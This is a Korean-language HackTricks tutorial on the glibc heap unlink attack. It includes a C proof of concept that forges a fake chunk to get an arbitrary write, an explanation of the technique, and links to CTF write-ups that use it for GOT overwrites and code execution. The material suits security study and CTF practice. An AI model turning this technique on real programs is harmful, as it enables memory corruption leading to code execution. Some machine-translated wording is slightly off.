Unlink Attack

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

Basic Information

이 공격이 발견되었을 때, 주로 WWW (Write What Where)를 허용했지만, 몇 가지 검사가 추가되어 공격의 새로운 버전이 더 흥미롭고 더 복잡하며 무용지물이 되었습니다.

Code Example:

Code
c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10];               // padding
};

int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000;  // chunk1's data region size
chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0;
}

  • tcaches가 사용되면 공격이 작동하지 않음 (2.26 이후)

목표

이 공격은 청크에 대한 포인터를 자신보다 3 주소 앞을 가리키도록 변경할 수 있게 해줍니다. 이 새로운 위치(포인터가 위치했던 주변)에 다른 제어 가능한 할당/스택과 같은 흥미로운 내용이 있다면, 이를 읽거나 덮어써서 더 큰 피해를 줄 수 있습니다.

  • 이 포인터가 스택에 위치해 있었다면, 이제 자신보다 3 주소 앞을 가리키고 사용자가 이를 읽고 수정할 수 있으므로, 스택에서 민감한 정보를 유출하거나 반환 주소를 수정할 수 있습니다(아마도) 캔을 건드리지 않고.
  • CTF 예제에서는 이 포인터가 다른 할당에 대한 포인터 배열에 위치해 있으므로, 3 주소 앞을 가리키도록 만들고 이를 읽고 쓸 수 있게 되면, 다른 포인터가 다른 주소를 가리키도록 만들 수 있습니다.
    사용자가 다른 할당도 읽고 쓸 수 있으므로, 정보를 유출하거나 임의의 위치(예: GOT)에 새로운 주소를 덮어쓸 수 있습니다.

요구 사항

  • 몇 개의 청크를 생성하기 위해 메모리(예: 스택)에 대한 일부 제어가 필요합니다.
  • 가짜 청크의 포인터를 설정하기 위한 스택 유출이 필요합니다.

공격

  • 두 개의 청크가 있습니다(청크1 및 청크2).
  • 공격자는 청크1의 내용을 제어하고 청크2의 헤더를 제어합니다.
  • 청크1에서 공격자는 가짜 청크의 구조를 생성합니다:
  • 보호를 우회하기 위해 size 필드가 올바른지 확인하여 오류: corrupted size vs. prev_size while consolidating를 피합니다.
  • 그리고 가짜 청크의 fdbk 필드는 청크1 포인터가 저장된 위치를 각각 -3 및 -2의 오프셋으로 가리키도록 설정하여 fake_chunk->fd->bkfake_chunk->bk->fd가 청크1 주소가 위치한 메모리(스택)의 위치를 가리키게 합니다:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

  • 청크2의 헤더는 이전 청크가 사용되지 않음을 나타내고 가짜 청크의 크기를 포함된 크기로 수정됩니다.
  • 두 번째 청크가 해제되면 이 가짜 청크가 연결 해제되어 다음과 같은 일이 발생합니다:
  • fake_chunk->fd->bk = fake_chunk->bk
  • fake_chunk->bk->fd = fake_chunk->fd
  • 이전에 fake_chunk->fd->bkfake_chunk->bk->fd가 같은 위치(청크1이 저장된 스택의 위치)를 가리키도록 설정되었으므로 유효한 연결 리스트였습니다. 두 개가 같은 위치를 가리키고 있기 때문에 마지막 것(fake_chunk->bk->fd = fake_chunk->fd)만 효과를 가집니다.
  • 이는 스택에서 청크1에 대한 포인터를 스택에서 3 주소 앞에 저장된 주소(또는 바이트)로 덮어씁니다.
  • 따라서 공격자가 청크1의 내용을 다시 제어할 수 있다면, 스택 내부에 쓸 수 있게 되어 캔을 건드리지 않고 반환 주소를 덮어쓰고 지역 변수의 값과 포인터를 수정할 수 있습니다. 심지어 스택에 저장된 청크1의 주소를 다른 위치로 수정하여 공격자가 청크1의 내용을 다시 제어할 수 있다면 어디든 쓸 수 있게 됩니다.
  • 이는 주소가 스택에 저장되기 때문에 가능했습니다. 위험과 악용은 가짜 청크에 대한 주소가 어디에 저장되는지에 따라 달라질 수 있습니다.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

참고 문헌

  • https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
  • CTF에서 unlink 공격을 찾는 것은 이상하겠지만, 이 공격이 사용된 몇 가지 작성물이 있습니다:
  • CTF 예제: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
  • 이 예제에서는 스택 대신 malloc된 주소의 배열이 있습니다. unlink 공격이 수행되어 여기에서 청크를 할당할 수 있게 되어 malloc된 주소 배열의 포인터를 제어할 수 있습니다. 그런 다음 이러한 주소의 청크 내용을 수정할 수 있는 또 다른 기능이 있어 GOT의 주소를 가리키고, 함수 주소를 수정하여 유출 및 RCE를 얻을 수 있습니다.
  • 또 다른 CTF 예제: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
  • 이전 예제와 마찬가지로 할당 주소의 배열이 있습니다. unlink 공격을 수행하여 첫 번째 할당의 주소가 배열 시작 몇 위치 앞을 가리키도록 하고 이 할당을 새로운 위치에 덮어쓸 수 있습니다. 따라서 다른 할당의 포인터를 GOT의 atoi를 가리키도록 덮어쓰고 이를 출력하여 libc 유출을 얻은 다음 atoi GOT를 원가젯의 주소로 덮어쓸 수 있습니다.
  • unlink 공격과 매우 유사한 취약점을 악용하는 사용자 정의 malloc 및 free 함수가 있는 CTF 예제: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
  • FD 및 BK 포인터를 제어할 수 있는 오버플로우가 있으며, 사용자 정의 malloc이 (사용자 정의) 해제됩니다. 또한 힙에 exec 비트가 있어 힙 주소를 유출하고 GOT의 함수를 힙 청크에 있는 쉘코드로 가리키도록 할 수 있습니다.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기